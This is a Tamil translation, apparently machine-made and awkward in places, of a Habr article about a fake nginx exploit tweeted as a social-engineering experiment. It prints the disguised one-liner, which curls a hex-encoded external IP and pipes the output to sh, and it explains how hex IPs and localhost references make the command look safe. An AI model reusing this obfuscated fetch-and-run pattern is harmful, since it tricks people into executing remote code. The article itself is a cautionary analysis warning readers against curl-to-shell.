nginxக்கான போலிச் சுரண்டலுடன் கூடிய சமூகப் பரிசோதனையின் வெற்றி

குறிப்பு. மொழிபெயர்: ஆசிரியர் ஜூன் 1 அன்று வெளியிடப்பட்ட அசல் குறிப்பு, தகவல் பாதுகாப்பில் ஆர்வமுள்ளவர்களிடையே ஒரு பரிசோதனையை நடத்த முடிவு செய்தது. இதைச் செய்ய, அவர் வலை சேவையகத்தில் உள்ள வெளிப்படுத்தப்படாத பாதிப்புக்காக ஒரு போலி சுரண்டலைத் தயாரித்து தனது ட்விட்டரில் வெளியிட்டார். அவரது அனுமானங்கள் - குறியீட்டில் வெளிப்படையான ஏமாற்றத்தைக் காணும் நிபுணர்களால் உடனடியாக அம்பலப்படுத்தப்பட வேண்டும் - அது நிறைவேறவில்லை என்பது மட்டுமல்ல... அவை எல்லா எதிர்பார்ப்புகளையும் தாண்டி, எதிர் திசையில்: ட்வீட் செய்யாத ஏராளமான மக்களிடமிருந்து பெரும் ஆதரவைப் பெற்றது. அதன் உள்ளடக்கங்களை சரிபார்க்கவும்.

nginxக்கான போலிச் சுரண்டலுடன் கூடிய சமூகப் பரிசோதனையின் வெற்றி

TL;DR: எந்த சூழ்நிலையிலும் கோப்பு பைப்லைனிங்கை sh அல்லது bash இல் பயன்படுத்த வேண்டாம். உங்கள் கணினியின் கட்டுப்பாட்டை இழக்க இது ஒரு சிறந்த வழியாகும்.

மே 31 அன்று உருவாக்கப்பட்ட காமிக் PoC சுரண்டல் பற்றிய சிறுகதையை உங்களுடன் பகிர்ந்து கொள்ள விரும்புகிறேன். செய்திகளுக்கு பதிலளிக்கும் வகையில் அவர் உடனடியாக தோன்றினார் அலிசா எசேஜ் ஷெவ்செங்கோ, உறுப்பினர் ஜீரோ டே முன்முயற்சி (ZDI), RCE (ரிமோட் குறியீடு செயல்படுத்தல்) க்கு வழிவகுக்கும் NGINX இல் உள்ள பாதிப்பு பற்றிய தகவல் விரைவில் வெளியிடப்படும். NGINX பல இணையதளங்களை இயக்குவதால், அந்தச் செய்தி ஒரு குண்டு வெடிப்பாக இருந்திருக்க வேண்டும். ஆனால் "பொறுப்பான வெளிப்படுத்தல்" செயல்பாட்டில் தாமதம் ஏற்பட்டதால், என்ன நடந்தது என்பது பற்றிய விவரங்கள் தெரியவில்லை - இது நிலையான ZDI நடைமுறை.

nginxக்கான போலிச் சுரண்டலுடன் கூடிய சமூகப் பரிசோதனையின் வெற்றி
ட்வீட் NGINX இல் பாதிப்பு வெளிப்பாடு பற்றி

கர்லில் ஒரு புதிய தெளிவின்மை நுட்பத்தில் வேலை செய்து முடித்த பிறகு, நான் அசல் ட்வீட்டை மேற்கோள் காட்டினேன் மற்றும் கண்டுபிடிக்கப்பட்ட பாதிப்பை பயன்படுத்திக் கொள்ளக்கூடிய ஒற்றை வரி குறியீட்டைக் கொண்ட “ஒரு வேலை செய்யும் PoCயை கசிந்தேன்”. நிச்சயமாக, இது முழு முட்டாள்தனமாக இருந்தது. நான் உடனடியாக அம்பலப்படுத்தப்படுவேன் என்று கருதினேன், மேலும் சிறந்த முறையில் நான் இரண்டு ரீட்வீட்களைப் பெறுவேன் (ஆமாம்).

nginxக்கான போலிச் சுரண்டலுடன் கூடிய சமூகப் பரிசோதனையின் வெற்றி
ட்வீட் போலி சுரண்டலுடன்

இருப்பினும், அடுத்து என்ன நடந்தது என்பதை என்னால் கற்பனை செய்து பார்க்க முடியவில்லை. எனது ட்வீட்டின் புகழ் உயர்ந்தது. ஆச்சரியப்படும் விதமாக, இந்த நேரத்தில் (15:00 மாஸ்கோ நேரம் ஜூன் 1) இது ஒரு போலி என்பதை சிலர் உணர்ந்துள்ளனர். பலர் அதைச் சரிபார்க்காமலேயே மறு ட்வீட் செய்கிறார்கள் (இது வெளியிடும் அழகான ASCII கிராபிக்ஸைப் பாராட்டுவது ஒருபுறம் இருக்கட்டும்).

nginxக்கான போலிச் சுரண்டலுடன் கூடிய சமூகப் பரிசோதனையின் வெற்றி
எவ்வளவு அழகாக இருக்கிறது என்று பாருங்கள்!

இந்த சுழல்கள் மற்றும் வண்ணங்கள் அனைத்தும் சிறப்பாக இருந்தாலும், மக்கள் அவற்றைப் பார்க்க தங்கள் கணினியில் குறியீட்டை இயக்க வேண்டும் என்பது தெளிவாகிறது. அதிர்ஷ்டவசமாக, உலாவிகள் அதே வழியில் செயல்படுகின்றன, மேலும் நான் சட்டச் சிக்கலில் சிக்க விரும்பவில்லை என்ற உண்மையுடன் இணைந்து, எனது தளத்தில் புதைக்கப்பட்ட குறியீடு எந்த கூடுதல் குறியீட்டையும் நிறுவவோ அல்லது செயல்படுத்தவோ முயற்சிக்காமல் எதிரொலி அழைப்புகளைச் செய்கிறது.

சிறிய விலகல்: netspoky, dnz, நானும் அணியில் உள்ள மற்ற தோழர்களும் குண்டர் கூட்டம் கர்ல் கட்டளைகளை மழுங்கடிக்க பல்வேறு வழிகளில் விளையாடி வருகிறோம், ஏனென்றால் அது நன்றாக இருக்கிறது... மேலும் நாங்கள் அழகற்றவர்கள். netspooky மற்றும் dnz எனக்கு மிகவும் நம்பிக்கைக்குரியதாக தோன்றிய பல புதிய முறைகளைக் கண்டுபிடித்தன. நான் வேடிக்கையாக சேர்ந்து, தந்திரங்களின் பையில் ஐபி தசம மாற்றங்களைச் சேர்க்க முயற்சித்தேன். ஐபியை ஹெக்ஸாடெசிமல் வடிவத்திற்கும் மாற்றலாம் என்று மாறிவிடும். மேலும், கர்ல் மற்றும் பிற NIX கருவிகள் ஹெக்ஸாடெசிமல் ஐபிகளை மகிழ்ச்சியுடன் சாப்பிடுகின்றன! எனவே இது ஒரு உறுதியான மற்றும் பாதுகாப்பான தோற்றமுடைய கட்டளை வரியை உருவாக்குவது மட்டுமே. இறுதியில் நான் இதைத் தீர்த்தேன்:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

சமூக-மின்னணு பொறியியல் (SEE) - ஃபிஷிங்கை விட அதிகம்

பாதுகாப்பு மற்றும் பரிச்சயம் இந்த சோதனையின் முக்கிய பகுதியாகும். அவைதான் அவரது வெற்றிக்கு வழிவகுத்தது என்று நினைக்கிறேன். கட்டளை வரி "127.0.0.1" (நன்கு அறியப்பட்ட லோக்கல் ஹோஸ்ட்) ஐக் குறிப்பிடுவதன் மூலம் பாதுகாப்பைக் குறிக்கிறது. Localhost பாதுகாப்பானதாகக் கருதப்படுகிறது மேலும் அதில் உள்ள தரவு உங்கள் கணினியை விட்டு வெளியேறாது.

பரிச்சயம் சோதனையின் இரண்டாவது முக்கிய SEE கூறு ஆகும். இலக்கு பார்வையாளர்கள் முதன்மையாக கணினி பாதுகாப்பின் அடிப்படைகளை நன்கு அறிந்தவர்களைக் கொண்டிருப்பதால், குறியீட்டை உருவாக்குவது முக்கியம், அதன் சில பகுதிகள் நன்கு தெரிந்ததாகவும் நன்கு தெரிந்ததாகவும் (எனவே பாதுகாப்பானது). பழைய சுரண்டல் கருத்துகளின் கூறுகளை கடன் வாங்குவது மற்றும் அசாதாரணமான முறையில் அவற்றை இணைப்பது மிகவும் வெற்றிகரமாக நிரூபிக்கப்பட்டுள்ளது.

ஒன்-லைனரின் விரிவான பகுப்பாய்வு கீழே உள்ளது. இந்த பட்டியலில் உள்ள அனைத்தும் அணிந்துள்ளன ஒப்பனை இயல்பு, மற்றும் நடைமுறையில் அதன் உண்மையான செயல்பாட்டிற்கு எதுவும் தேவையில்லை.

என்ன கூறுகள் உண்மையில் அவசியம்? இது -gsS, -O 0x0238f06a, |sh மற்றும் இணைய சேவையகம். வலை சேவையகத்தில் தீங்கிழைக்கும் வழிமுறைகள் எதுவும் இல்லை, ஆனால் கட்டளைகளைப் பயன்படுத்தி ASCII கிராபிக்ஸ் வழங்கப்பட்டுள்ளது echo உள்ள ஸ்கிரிப்ட்டில் index.html. பயனர் ஒரு வரியை உள்ளிடும்போது |sh மத்தியில், index.html ஏற்றப்பட்டு செயல்படுத்தப்பட்டது. அதிர்ஷ்டவசமாக, வலை சேவையகத்தின் பாதுகாவலர்களுக்கு எந்த தவறான நோக்கமும் இல்லை.

  • ../../../%00 - அடைவுக்கு அப்பால் செல்வதைக் குறிக்கிறது;
  • ngx_stream_module.so - சீரற்ற NGINX தொகுதிக்கான பாதை;
  • /bin/sh%00<'protocol:TCP' - நாங்கள் தொடங்குகிறோம் என்று கூறப்படுகிறது /bin/sh இலக்கு கணினியில் மற்றும் வெளியீட்டை TCP சேனலுக்கு திருப்பி விடவும்;
  • -O 0x0238f06a#PLToffset - இரகசிய மூலப்பொருள், கூடுதலாக #PLToffset, PLT இல் உள்ள நினைவக ஆஃப்செட் போல் தோற்றமளிக்க;
  • |sh; - மற்றொரு முக்கியமான துண்டு. தாக்கும் இணைய சேவையகத்திலிருந்து வரும் குறியீட்டை இயக்க, வெளியீட்டை sh/bash க்கு திருப்பிவிட வேண்டும். 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - நெட்கேட் குறிப்பிடும் போலி /dev/tcp/localhostஅதனால் எல்லாம் மீண்டும் பாதுகாப்பாக இருக்கும். உண்மையில், இது எதுவும் செய்யாது மற்றும் அழகுக்கான வரிசையில் சேர்க்கப்பட்டுள்ளது.

இது ஒரு வரி ஸ்கிரிப்ட்டின் டிகோடிங் மற்றும் "சமூக-மின்னணு பொறியியல்" (சிக்கலான ஃபிஷிங்) அம்சங்களைப் பற்றிய விவாதத்தை முடிக்கிறது.

இணைய சேவையக கட்டமைப்பு மற்றும் எதிர் நடவடிக்கைகள்

எனது சந்தாதாரர்களில் பெரும்பாலோர் இன்ஃபோசெக்/ஹேக்கர்களாக இருப்பதால், தோழர்கள் ஏதாவது செய்ய வேண்டும் என்பதற்காக (அது வேடிக்கையாக இருக்கும்) அவர்களின் பங்கில் உள்ள "ஆர்வம்" வெளிப்பாடுகளுக்கு இணைய சேவையகத்தை இன்னும் கொஞ்சம் எதிர்ப்புத் தெரிவிக்க முடிவு செய்தேன். அமைக்கவும்). சோதனை இன்னும் நடந்துகொண்டிருப்பதால் எல்லா இடர்பாடுகளையும் இங்கே பட்டியலிடப் போவதில்லை, ஆனால் சர்வர் செய்யும் சில விஷயங்கள் இங்கே உள்ளன:

  • சில சமூக வலைப்பின்னல்களில் விநியோக முயற்சிகளை செயலில் கண்காணிக்கிறது மற்றும் இணைப்பை கிளிக் செய்ய பயனரை ஊக்குவிக்க பல்வேறு முன்னோட்ட சிறுபடங்களை மாற்றுகிறது.
  • ஷெல் ஸ்கிரிப்டைக் காட்டுவதற்குப் பதிலாக, குரோம்/மொசில்லா/சஃபாரி/இதனை துக்க்ரவுட் விளம்பர வீடியோவுக்குத் திருப்பிவிடும்.
  • ஊடுருவல்/அப்பட்டமான ஹேக்கிங்கின் வெளிப்படையான அறிகுறிகளைக் கண்டறிந்து, பின்னர் கோரிக்கைகளை NSA சேவையகங்களுக்குத் திருப்பிவிடத் தொடங்குகிறது (ha!).
  • வழக்கமான உலாவியில் இருந்து ஹோஸ்டைப் பார்வையிடும் அனைத்து கணினிகளிலும் ட்ரோஜனையும், பயாஸ் ரூட்கிட்டையும் நிறுவுகிறது (வேடிக்கைக்கு!).

nginxக்கான போலிச் சுரண்டலுடன் கூடிய சமூகப் பரிசோதனையின் வெற்றி
ஆன்டிமர்களின் ஒரு சிறிய பகுதி

இந்த விஷயத்தில், அப்பாச்சியின் சில அம்சங்களில் தேர்ச்சி பெறுவதே எனது ஒரே குறிக்கோளாக இருந்தது - குறிப்பாக, கோரிக்கைகளைத் திருப்பிவிடுவதற்கான சிறந்த விதிகள் - நான் நினைத்தேன்: ஏன் இல்லை?

NGINX சுரண்டல் (உண்மை!)

குழுசேர் @alisaesage ட்விட்டரில் மற்றும் NGINX இல் உள்ள உண்மையான பாதிப்புகள் மற்றும் வாய்ப்புகளைப் பயன்படுத்துவதில் ZDI இன் சிறந்த பணியைப் பின்தொடரவும். அவர்களின் பணி எப்போதும் என்னைக் கவர்ந்துள்ளது, மேலும் எனது முட்டாள்தனமான ட்வீட் ஏற்படுத்திய அனைத்து குறிப்புகள் மற்றும் அறிவிப்புகளுடன் பொறுமையாக ஆலிஸுக்கு நான் நன்றியுள்ளவனாக இருக்கிறேன். அதிர்ஷ்டவசமாக, இது சில நன்மைகளையும் செய்தது: இது NGINX பாதிப்புகள் மற்றும் சுருட்டை தவறாக பயன்படுத்துவதால் ஏற்படும் பிரச்சனைகள் பற்றிய விழிப்புணர்வை ஏற்படுத்த உதவியது.

ஆதாரம்: www.habr.com

கருத்தைச் சேர்